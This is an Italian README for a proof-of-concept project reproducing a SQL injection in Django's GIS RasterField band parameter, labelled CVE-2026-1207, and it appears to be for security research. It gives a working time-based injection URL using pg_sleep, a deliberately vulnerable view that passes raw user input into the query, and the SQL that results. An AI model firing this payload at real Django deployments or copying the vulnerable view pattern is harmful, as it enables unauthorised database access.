
Django framework, quando si utilizzano query PostGIS su dati raster geografici, se l'input utente non verificato viene passato direttamente come parametro band index (indice di banda), si può verificare un'iniezione SQL.
Tipo di vulnerabilità: SQL Injection
Componente interessato: django.contrib.gis RasterField
Quando si utilizza RasterField di Django GIS per eseguire query, il parametro band viene concatenato direttamente nell'istruzione SQL, causando una vulnerabilità di SQL injection. Un attaccante può iniettare codice SQL arbitrario costruendo un valore malevolo per il parametro band.
CVE-2026-1207/
├── .devcontainer/ # Configurazione VSCode DevContainer
├── .vscode/ # Configurazione VSCode
├── vuln/ # Applicazione demo della vulnerabilità
│ ├── models.py # Modello contenente RasterField
│ ├── views.py # Punto di attivazione della vulnerabilità
│ └── migrations/ # File di migrazione del database
├── web/ # Configurazione del progetto Django
├── manage.py
├── README.md
Questo progetto di vulnerabilità viene compilato utilizzando il devcontainer di VSCode.
Aprire la directory root del progetto esistente (contenente la cartella .devcontainer) con VS Code.
Premere Ctrl+Shift+P (Windows/Linux) o Cmd+Shift+P (Mac)
Digitare Remote-Containers: Reopen in Container
VS Code leggerà la configurazione .devcontainer e compilerà il container (la prima compilazione potrebbe richiedere alcuni minuti)
⚠️ Se il Dockerfile o le dipendenze sono state aggiornate, è possibile selezionare Remote-Containers: Rebuild Container per garantire l'uso dell'ambiente più recente.
Aprire la palette dei comandi Ctrl+Shift+P
Digitare Tasks: Run Task
Selezionare django:start (l'attività è già configurata in .vscode/tasks.json)
Questa attività avvierà il server di sviluppo Django all'interno del container
In ascolto predefinito su 0.0.0.0:8087
Aprire il browser e visitare:
http://localhost:8087
Al primo avvio potrebbe essere necessario eseguire le migrazioni del database:
python manage.py migrate
L'analisi dettagliata della vulnerabilità è pubblicata su 先知 https://xz.aliyun.com/news/91993
Account WeChat ufficiale https://mp.weixin.qq.com/s/p7EZRKZBp-mRGhYqyc8i3A
Visitare il seguente URL per attivare l'SQL injection:
http://localhost:8087/book/search?band=1);select%20%271%27||pg_sleep(3)%20--
Osservare il tempo di risposta: una richiesta normale dovrebbe restituire immediatamente, mentre la richiesta di iniezione subirà un ritardo di circa 3 secondi.
def get(self, request: HttpRequest):
band = request.GET.get("band", 1) # ← input utente non filtrato
rast = GDALRaster(...)
qs = RasterModel.objects.filter(rast__contains=(rast, band)) # ← band passato direttamente alla query
print(qs.query) # ← visualizza l'SQL generato
qs.count()
return HttpResponse("book app")
SELECT ... FROM vuln_rastermodel
WHERE ST_Contains("vuln_rastermodel"."rast", ST_ContainsParam(..., 1);select '1'||pg_sleep(3) --))
Questo progetto è destinato esclusivamente a scopi di ricerca sulla sicurezza e formazione. Non utilizzarlo su sistemi non autorizzati.